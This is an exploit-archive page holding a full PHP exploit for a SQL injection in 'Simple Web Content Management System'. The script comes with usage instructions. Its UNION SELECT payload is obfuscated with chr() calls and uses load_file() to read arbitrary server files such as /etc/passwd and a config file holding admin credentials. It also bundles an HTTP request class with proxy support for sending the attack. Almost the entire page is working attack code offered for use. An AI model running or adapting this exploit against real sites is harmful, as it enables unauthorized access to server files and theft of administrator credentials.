Author

DarkFig

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-1361

Category

web applications

Date add

03-01-2007

Platform

unsorted

===========================================================================
Simple Web Content Management System Remote SQL Injection Exploit
=================================================================


#!/usr/bin/php
<?php

if($argc < 3) {
 print("
 --------------------------------------------------------
 Affected.scr..: Simple Web Content Management System
 Type..........: SQL Injection
 Risk.level....: Medium
 Credits.......: DarkFig
 --------------------------------------------------------
 Usage.........: php xpl.txt <url> <file>
 Options.......: <proxhost:proxport> <proxuser:proxpass>
 Example.......: php xpl.txt http://hihi.org/ /etc/passwd
 --------------------------------------------------------\n");
 exit(1);
}

$url  =$argv[1];$file =$argv[2];
$proxh=$argv[3];$proxa=$argv[4];

$xpl = new phpsploit();
$xpl->agent("Mozilla");
if($proxh) $xpl->proxy($proxh);
if($proxa) $xpl->proxyauth($proxa);

/*
 * $id = $_GET['id'];
 * $query = "SELECT * from content WHERE id = $id";
 * ...
 * @return $row->text;
 *
 * Simple SQL injection (register_globals=off ; magic_quotes_gpc=on).
 * What we want is not in the database, it's in a file (config.php):
 *
 * //this are the logins for the admin part. Change them for security.
 * $login = "test";  //your login for the admin section.
 * $pass = "1234";   //your login for the admin section.
 *
 * PS: Les chr() ont ?t? utilis?s dans le but de se foutre de
 * la gueule des personnes l'utilisant seulement pour d4 h4x0r styl3 =).
 *
 */

$header =
chr(0x2f).chr(0x3c).chr(0x68).chr(0x74).chr(0x6d).chr(0x6c).chr(0x3e).chr(0x0d).
chr(0x0a).chr(0x3c).chr(0x68).chr(0x65).chr(0x61).chr(0x64).chr(0x3e).chr(0x0d).
chr(0x0a).chr(0x3c).chr(0x74).chr(0x69).chr(0x74).chr(0x6c).chr(0x65).chr(0x3e).
chr(0x63).chr(0x6f).chr(0x6e).chr(0x74).chr(0x65).chr(0x6e).chr(0x74).chr(0x66).
chr(0x72).chr(0x61).chr(0x6d).chr(0x65).chr(0x3c).chr(0x5c).chr(0x2f).chr(0x74).
chr(0x69).chr(0x74).chr(0x6c).chr(0x65).chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).
chr(0x6c).chr(0x69).chr(0x6e).chr(0x6b).chr(0x20).chr(0x68).chr(0x72).chr(0x65).
chr(0x66).chr(0x3d).chr(0x22).chr(0x5c).chr(0x2f).chr(0x73).chr(0x74).chr(0x79).
chr(0x6c).chr(0x65).chr(0x2e).chr(0x63).chr(0x73).chr(0x73).chr(0x22).chr(0x20).
chr(0x72).chr(0x65).chr(0x6c).chr(0x3d).chr(0x22).chr(0x73).chr(0x74).chr(0x79).
chr(0x6c).chr(0x65).chr(0x73).chr(0x68).chr(0x65).chr(0x65).chr(0x74).chr(0x22).
chr(0x20).chr(0x74).chr(0x79).chr(0x70).chr(0x65).chr(0x3d).chr(0x22).chr(0x74).
chr(0x65).chr(0x78).chr(0x74).chr(0x5c).chr(0x2f).chr(0x63).chr(0x73).chr(0x73).
chr(0x22).chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).chr(0x6d).chr(0x65).chr(0x74).
chr(0x61).chr(0x20).chr(0x68).chr(0x74).chr(0x74).chr(0x70).chr(0x2d).chr(0x65).
chr(0x71).chr(0x75).chr(0x69).chr(0x76).chr(0x3d).chr(0x22).chr(0x43).chr(0x6f).
chr(0x6e).chr(0x74).chr(0x65).chr(0x6e).chr(0x74).chr(0x2d).chr(0x54).chr(0x79).
chr(0x70).chr(0x65).chr(0x22).chr(0x20).chr(0x63).chr(0x6f).chr(0x6e).chr(0x74).
chr(0x65).chr(0x6e).chr(0x74).chr(0x3d).chr(0x22).chr(0x74).chr(0x65).chr(0x78).
chr(0x74).chr(0x5c).chr(0x2f).chr(0x68).chr(0x74).chr(0x6d).chr(0x6c).chr(0x3b).
chr(0x20).chr(0x63).chr(0x68).chr(0x61).chr(0x72).chr(0x73).chr(0x65).chr(0x74).
chr(0x3d).chr(0x69).chr(0x73).chr(0x6f).chr(0x2d).chr(0x38).chr(0x38).chr(0x35).
chr(0x39).chr(0x2d).chr(0x31).chr(0x22).chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).
chr(0x5c).chr(0x2f).chr(0x68).chr(0x65).chr(0x61).chr(0x64).chr(0x3e).chr(0x0d).
chr(0x0a).chr(0x0d).chr(0x0a).chr(0x3c).chr(0x62).chr(0x6f).chr(0x64).chr(0x79).
chr(0x3e).chr(0x2f);

$sql =
chr(0x70).chr(0x61).chr(0x67).chr(0x65).chr(0x2e).chr(0x70).chr(0x68).chr(0x70).
chr(0x3f).chr(0x69).chr(0x64).chr(0x3d).chr(0x2d).chr(0x31).chr(0x2f).chr(0x2a).
chr(0x2a).chr(0x2f).chr(0x75).chr(0x6e).chr(0x69).chr(0x6f).chr(0x6e).chr(0x2f).
chr(0x2a).chr(0x2a).chr(0x2f).chr(0x73).chr(0x65).chr(0x6c).chr(0x65).chr(0x63).
chr(0x74).chr(0x2f).chr(0x2a).chr(0x2a).chr(0x2f).chr(0x6e).chr(0x75).chr(0x6c).
chr(0x6c).chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c).chr(0x2c).chr(0x6e).
chr(0x75).chr(0x6c).chr(0x6c).chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c).
chr(0x2c).chr(0x6c).chr(0x6f).chr(0x61).chr(0x64).chr(0x5f).chr(0x66).chr(0x69).
chr(0x6c).chr(0x65).chr(0x28).chr(0x63).chr(0x6f).chr(0x6e).chr(0x63).chr(0x61).
chr(0x74).chr(0x28).concatcharfu($file).chr(0x29).chr(0x29).chr(0x2c).chr(0x6e).
chr(0x75).chr(0x6c).chr(0x6c).chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c).
chr(0x2c).chr(0x6e).chr(0x75).chr(0x6c).chr(0x6c);

$footer =
chr(0x2f).chr(0x3c).chr(0x5c).chr(0x2f).chr(0x62).chr(0x6f).chr(0x64).chr(0x79).
chr(0x3e).chr(0x0d).chr(0x0a).chr(0x3c).chr(0x5c).chr(0x2f).chr(0x68).chr(0x74).
chr(0x6d).chr(0x6c).chr(0x3e).chr(0x2f);

$xpl->get($url.$sql);
$ct = preg_replace($footer,'',$xpl->getcontent());
print preg_replace($header,'',$ct);

function concatcharfu($file)
{
       $dat = '';
       for($i=0;$i<strlen($file);$i++)
       {
               $dat .= 'char('.ord($file[$i]).')';
               if($i != (strlen($file)-1)) $dat .= ',';
       }
       return $dat;
}

class phpsploit {

	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it, this is the main function.
	 *
	 * @return $server_response
	 */
	private function sock()
	{
		if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);
		else $socket = fsockopen($this->host,$this->port);
		
		if(!$socket) die("Error: The host doesn't exist");
		
		if($this->method==="get") $this->packet = "GET ".$this->url." HTTP/1.1\r\n";
		elseif($this->method==="post") $this->packet = "POST ".$this->url. " HTTP/1.1\r\n";
		else die("Error: Invalid method");
		
		if(!empty($this->proxyuser)) $this->packet .= "Proxy-Authorization: Basic ".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
		$this->packet .= "Host: ".$this->host."\r\n";
		
		if(!empty($this->agent))  $this->packet .= "User-Agent: ".$this->agent."\r\n";
		if(!empty($this->header)) $this->packet .= $this->header."\r\n";
		if(!empty($this->cookie)) $this->packet .= "Cookie: ".$this->cookie."\r\n";
		
		$this->packet .= "Connection: Close\r\n";
		if($this->method==="post")
		{
			$this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
			$this->packet .= "Content-Length: ".strlen($this->data)."\r\n\r\n";
			$this->packet .= $this->data."\r\n";
		}
		$this->packet .= "\r\n";
		$this->recv = '';
		
		fputs($socket,$this->packet);
		while(!feof($socket)) $this->recv .= fgets($socket);
		fclose($socket);
		
		if($this->cookiejar) $this->cookiejar($this->getheader($this->recv));
		if($this->allowredirection) return $this->allowredirection($this->recv);
		else return $this->recv;
	}
	

	/**
	 * This function allows you to add several cookie in the
	 * request. Several methods are supported:
	 * 
	 * $this->addcookie("name","value");
	 * or
	 * $this->addcookie("name=newvalue");
	 * or
	 * $this->addcookie("othername=overvalue; xx=zz; y=u");
	 * 
	 * @param string $cookiename
	 * @param string $cookievalue
	 * 
	 */
	public function addcookie($cookn,$cookv='')
	{
		// $this->addcookie("name","value"); work avec replace
		if(!empty($cookv))
		{
			if($cookv === "deleted") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete
			if(!empty($this->cookie))
			{
			    if(preg_match("/$cookn=/",$this->cookie))
			    {
			    	$this->cookie = preg_replace("/$cookn=(\S*);/","$cookn=$cookv;",$this->cookie);
			    }
			    else
			    {
			    	$this->cookie .= " ".$cookn."=".$cookv.";"; // " ".
			    }
			}
			else
			{
				$this->cookie = $cookn."=".$cookv.";";
			}
		}
		// $this->addcookie("name=value; othername=othervalue");
		else
		{
	    	 if(!empty($this->cookie))
	    	 {
	    	 	$cookn = preg_replace("/(.*);$/","$1",$cookn);
	    	 	$cookarr = explode(";",str_replace(" ", "",$cookn));
	    	 	for($i=0;$i<count($cookarr);$i++)
	    	 	{
	    	 		preg_match("/(\S*)=(\S*)/",$cookarr[$i],$matches);
	    	 		$cookn = $matches[1];
	    	 		$cookv = $matches[2];
	    	 		$this->addcookie($cookn,$cookv);
	    	 	}
	    	 }
			 else
			 {
			 	$cookn = ((substr($cookn,(strlen($cookn)-1),1))===";") ? $cookn : $cookn.";";
			 	$this->cookie = $cookn;			
			 }
		}
	}
	
	
	/**
	 * This function allows you to add several headers in the
	 * request. Several methods are supported:
	 *
	 * $this->addheader("headername","headervalue");
	 * or
	 * $this->addheader("headername: headervalue");
	 *
	 * @param string $headername
	 * @param string $headervalue
	 */
	public function addheader($headern,$headervalue='')
	{
		// $this->addheader("name","value");
		if(!empty($headervalue))
		{
			if(!empty($this->header))
			{
				if(preg_match("/$headern:/",$this->header))
				{
					$this->header = preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
				}
				else
				{
					$this->header .= "\r\n".$headern.": ".$headervalue;
				}
			}
			else
			{
				$this->header=$headern.": ".$headervalue;
			}
		}
		// $this->addheader("name: value");
		else 
		{
			if(!empty($this->header))
			{
				$headarr = explode(": ",$headern);
				$headern = $headarr[0];
				$headerv = $headarr[1];
				$this->addheader($headern,$headerv);
			}
			else
			{
				$this->header=$headern;
			}
		}
	}
	

	/**
	 * This function allows you to use an http proxy server.
	 * Several methods are supported:
	 * 
	 * $this->proxy("proxyip","8118");
	 * or
	 * $this->proxy("proxyip:8118")
	 *
	 * @param string $proxyhost
	 * @param integer $proxyport
	 */
	public function proxy($proxy,$proxyp='')
	{
		// $this->proxy("localhost:8118");
		if(empty($proxyp))
		{
			preg_match("/^(\S*):(\d+)$/",$proxy,$proxarr);
			$proxh = $proxarr[1];
			$proxp = $proxarr[2];
			$this->proxyhost=$proxh;
			$this->proxyport=$proxp;
		}
		// $this->proxy("localhost",8118);
		else 
		{
			$this->proxyhost=$proxy;
			$this->proxyport=intval($proxyp);
		}
		if($this->proxyport > 65535) die("Error: Invalid port number");
	}
	

	/**
	 * This function allows you to use an http proxy server
	 * which requires a basic authentification. Several
	 * methods are supported:
	 * 
	 * $this->proxyauth("darkfig","dapasswd");
	 * or
	 * $this->proxyauth("darkfig:dapasswd");
	 *
	 * @param string $proxyuser
	 * @param string $proxypass
	 */
	public function proxyauth($proxyauth,$proxypasse='')
	{
		// $this->proxyauth("darkfig:password");
		if(empty($proxypasse))
		{
			preg_match("/^(.*):(.*)$/",$proxyauth,$proxautharr);
			$proxu = $proxautharr[1];
			$proxp = $proxautharr[2];
			$this->proxyuser=$proxu;
			$this->proxypass=$proxp;
		}
		// $this->proxyauth("darkfig","password");
		else
		{
			$this->proxyuser=$proxyauth;
			$this->proxypass=$proxypasse;
		}
	}

	
	/**
	 * This function allows you to set the "User-Agent" header.
	 * Several methods are possible to do that:
	 * 
	 * $this->agent("Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent: Mozilla Firefox");
	 * or
	 * $this->addheader("User-Agent","Mozilla Firefox");
	 * 
	 * @param string $useragent
	 */
	public function agent($useragent)
	{
		$this->agent=$useragent;
	}

	
	/**
	 * This function returns the header which will be
	 * in the next request.
	 * 
	 * $this->showheader();
	 *
	 * @return $header
	 */
	public function showheader()
	{
		return $this->header;
	}

	
	/**
	 * This function returns the cookie which will be
	 * in the next request.
	 * 
	 * $this->showcookie();
	 *
	 * @return $storedcookies
	 */
	public function showcookie()
	{
		return $this->cookie;
	}

	
	/**
	 * This function returns the last formed
	 * http request (the http packet).
	 * 
	 * $this->showlastrequest();
	 * 
	 * @return $last_http_request
	 */
	public function showlastrequest()
	{
		return $this->packet;
	}
	
	
	/**
	 * This function sends the formed http packet with the
	 * GET method. You can precise the port of the host.
	 * 
	 * $this->get("http://localhost");
	 * $this->get("http://localhost:888/xd/tst.php");
	 * 
	 * @param string $urlwithpath
	 * @return $server_response
	 */
	public function get($url)
	{
		$this->target($url);
		$this->method="get";
		return $this->sock();
	}

	
	/**
	 * This function sends the formed http packet with the
	 * POST method. You can precise the port of the host.
	 * 
	 * $this->post("http://localhost/index.php","admin=1&user=dark");
	 *
	 * @param string $urlwithpath
	 * @param string $postdata
	 * @return $server_response
	 */	
	public function post($url,$data)
	{
		$this->target($url);
		$this->method="post";
		$this->data=$data;
		return $this->sock();
	}

	
	/**
	 * This function returns the content of the server response
	 * without the headers.
	 * 
	 * $this->getcontent($this->get("http://localhost/"));
	 * or
	 * $this->getcontent();
	 *
	 * @param string $server_response
	 * @return $onlythecontent
	 */
	public function getcontent($code='')
	{
		if(empty($code)) $code = $this->recv;
		$content = explode("\n",$code);
		$onlycode = '';
		for($i=1;$i<count($content);$i++)
		{
			if(!preg_match("/^(\S*):/",$content[$i])) $ok = 1;
			if($ok) $onlycode .= $content[$i]."\n";
		}
		return $onlycode;
	}

	
	/**
	 * This function returns the headers of the server response
	 * without the content.
	 * 
	 * $this->getheader($this->post("http://localhost/x.php","x=1&z=2"));
	 * or
	 * $this->getheader();
	 *
	 * @param string $server_response
	 * @return $onlytheheaders
	 */
	public function getheader($code='')
	{
		if(empty($code)) $code = $this->recv;
		$header = explode("\n",$code);
		$onlyheader = $header[0]."\n";
		for($i=1;$i<count($header);$i++)
		{
			if(!preg_match("/^(\S*):/",$header[$i])) break;
			$onlyheader .= $header[$i]."\n";
		}
		return $onlyheader;
	}

	
	/**
	 * This function is called by the cookiejar() function.
	 * It adds the value of the "Set-Cookie" header in the "Cookie"
	 * header for the next request. You don't have to call it.
	 * 
	 * @param string $server_response
	 */
	private function getcookie($code)
	{
		$carr = explode("\n",str_replace("\r\n","\n",$code));
		for($z=0;$z<count($carr);$z++)
		{
			if(preg_match("/set-cookie: (.*)/i",$carr[$z],$cookarr))
			{
				$cookie[] = preg_replace("/expires=(.*)(GMT||UTC)(\S*)$/i","",preg_replace("/path=(.*)/i","",$cookarr[1]));
			}
		}

		for($i=0;$i<count($cookie);$i++)
		{
			preg_match("/(\S*)=(\S*);/",$cookie[$i],$matches);
	    	        $cookn = $matches[1];
	    	        $cookv = $matches[2];
	    	        $this->addcookie($cookn,$cookv);
		}
    }

	
	/**
	 * This function is called by the get()/post() functions.
	 * You don't have to call it.
	 *
	 * @param string $urltarg
	 */
	private function target($urltarg)
	{
		if(!preg_match("/^http:\/\/(.*)\//",$urltarg)) $urltarg .= "/";
		$this->url=$urltarg;
		
		$array = explode("/",str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg)));
		$this->host=$array[0];

		preg_match("/:(\d+)\//",$urltarg,$matches);
		$this->port=empty($matches[1]) ? 80 : $matches[1];
		
		$temp = str_replace("http://","",preg_replace("/:(\d+)/","",$urltarg));
		preg_match("/\/(.*)\//",$temp,$matches);
		$this->path=str_replace("//","/","/".$matches[1]."/");
	
		if($this->port > 65535) die("Error: Invalid port number");
	}
	
	
	/**
	 * If you call this function, the script will
	 * extract all "Set-Cookie" headers values
	 * and it will automatically add them into the "Cookie" header
	 * for all next requests.
	 *
	 * $this->cookiejar(1); // enabled
	 * $this->cookiejar(0); // disabled
	 * 
	 */
	public function cookiejar($code)
	{
		if($code===0) $this->cookiejar='';
		if($code===1) $this->cookiejar=1;
		else
		{
			$this->getcookie($code);
		}
	}


	/**
	 * If you call this function, the script will
	 * follow all redirections sent by the server.
	 * 
	 * $this->allowredirection(1); // enabled
	 * $this->allowredirection(0); // disabled
	 * 
	 * @return $this->get($locationresponse)
	 */
	public function allowredirection($code)
	{
		if($code===0) $this->allowredirection='';
		if($code===1) $this->allowredirection=1;
		else
		{
			if(preg_match("/(location|content-location|uri): (.*)/i",$code,$codearr))
			{
				$location = str_replace(chr(13),'',$codearr[2]);
				if(!eregi("://",$location))
				{
					return $this->get("http://".$this->host.$this->path.$location);
				}
				else
				{
					return $this->get($location);
				}
			}
			else
			{
				return $code;
			}
		}
	}
	
	
	/**
	 * This function allows you to reset some parameters:
	 * 
	 * $this->reset(header); // headers cleaned
	 * $this->reset(cookie); // cookies cleaned
	 * $this->reset();       // clean all parameters
	 *
	 * @param string $func
	 */
	public function reset($func='')
	{
		switch($func)
		{
			case "header":
			$this->header='';
			break;
			
			case "cookie":
			$this->cookie='';
			break;
			
			default:
		        $this->cookiejar='';
		        $this->header='';
		        $this->cookie='';
		        $this->allowredirection=''; 
		        $this->agent='';
		        break;
		}
	}
}

?>


#  0day.today [2024-11-15]  #